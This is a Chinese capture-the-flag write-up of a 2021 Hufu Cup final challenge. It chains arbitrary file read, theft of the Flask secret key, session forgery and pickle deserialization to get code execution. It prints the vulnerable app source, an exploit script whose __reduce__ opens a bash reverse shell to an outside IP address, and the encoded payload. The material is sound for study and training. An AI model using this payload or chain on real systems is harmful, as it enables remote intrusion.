記錄虎符杯線下決賽flask反序列化及patch思路

語言: CN / TW / HK

(一)背景

前幾天與團隊成員一起審計復現關於flask框架的反序列化漏洞以及session偽造相關的漏洞。想到了2021年虎符杯線下決賽的這個賽題,也是涉及以上兩個漏洞點,故拿出來做個分享與交流。

(二)分析

環境存在任意檔案讀取漏洞,直接讀取/app/source得到如下原始碼。

審計flask程式碼需要先看路由以及路由對應的函式程式碼邏輯比較清晰,/file路由下存在任意檔案讀取,/admin路由下存在u = pickle.loads(u) pickle反序列化。

且程式碼開頭處存在這樣一個序列化點。

User = type('User', (object,),

{     'uname': 'test',     'is_admin': 0,     '__repr__': lambda o: o.uname, })

#!/usr/bin/python3.6

import os

import pickle

from base64 import b64decode

from flask import Flask, request, render_template, session

app = Flask(__name__)

app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {

'uname': 'test',

'is_admin': 0,

'__repr__': lambda o: o.uname,

})


@app.route('/', methods=('GET',))

def index_handler():

if not session.get('u'):

u = pickle.dumps(User())

session['u'] = u

return "/file?file=index.js"

@app.route('/file', methods=('GET',))

def file_handler():

path = request.args.get('file')

path = os.path.join('static', path)

if not os.path.exists(path) or os.path.isdir(path) \

or '.py' in path or '.sh' in path or '..' in path or "flag" in path:

return 'disallowed'

with open(path, 'r') as fp:

content = fp.read()

return content

@app.route('/admin', methods=('GET',))

def admin_handler():

try:

u = session.get('u')

if isinstance(u, dict):#如果u對應的值是字典,會讀取  u.b

u = b64decode(u.get('b'))

u = pickle.loads(u)#pickle反序列化

except Exception:

return 'uhh?'

if u.is_admin == 1:

return 'welcome, admin'

else:

return 'who are you?'

if __name__ == '__main__':

app.run('0.0.0.0', port=80, debug=False)

很明顯的一個session偽造加pickle反序列化rce。 程式碼中的secret_key被打碼處理,但可以通過任意檔案讀取從/proc/self/environ 獲取環境變數,裡面有secret_key可以拿這個secret_key偽造session。

讀取到secret_key如上所示。

在之前的文章中我們提過flask是個輕量級的web框架,其session區別與其他的框架是加密儲存在客戶端的。所以只要獲取到secret_key即可任意的構造我們所需要的session。

關於sess ion 的解釋如下所示

在解析 session 的實現之前,我們先介紹一下 session 怎麼使用。session 可以看做是在不同的請求之間儲存資料的方法,因為 HTTP 是無狀態的協議,但是在業務應用上我們希望知道不同請求是否是同一個人發起的。比如購物網站在使用者點選進入購物車的時候,伺服器需要知道是哪個使用者執行了這個操作。對於我們熟悉的其他web環境中,大部分對session操作都是存入伺服器本地檔案中,使用者看到的只是session的名稱(一個隨機字串),其內容儲存在服務端。這種就做到了使用者無法讀取到session,這種叫服務端session。

(三)偽造

所以目前階段已經獲取到了反序列化所需的一切條件,只需要構造我們的反彈shell命令,代入以上的User類進行__reduce__反序列化即可。

__reduce__類似於php裡面的建構函式魔術方法,在反序列化的時候自動觸發。Exp指令碼如下:

import pickle

from base64 import b64encode

import os

User = type('User', (object,), {

'uname': 'tyskill',

'is_admin': 0,

'__repr__': lambda o: o.uname,

'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/123.60.47.130/9999 0>&1'",))

})

u = pickle.dumps(User())

print(b64encode(u).decode())

執行結果如下所示 得到序列化字串: gANjcG9zaXgKc3lzdGVtCnEAWDUAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy42MC40Ny4xMzAvOTk5OSAwPiYxJ3EBhXECUnEDLg==

接下來就是偽造session這裡附上兩個非常不錯的工具,有需要的小夥伴可以自取哦!

連結:https://pan.baidu.com/s/1ZYs1wj_1s2Yx6JmweREGRg

密碼:5nlt

執行以下命令,構造session。

(四)反彈shell

將生成的新session進行替換,再去訪問/admin路由即可。

監聽以後,重新整理/admin頁面即可觸發反序列化。

成功反彈shell,flag在/flag目錄下。

(五)總結

關於反序列化漏洞一直是紅藍對抗中兵家必爭的漏洞點,受限於flask框架的應用以及利用難度,實戰中往往java反序列化、php反序列化更多。但漏洞原理以及鏈條的構造方法從底層邏輯來看都是沒有區別的,一通百通。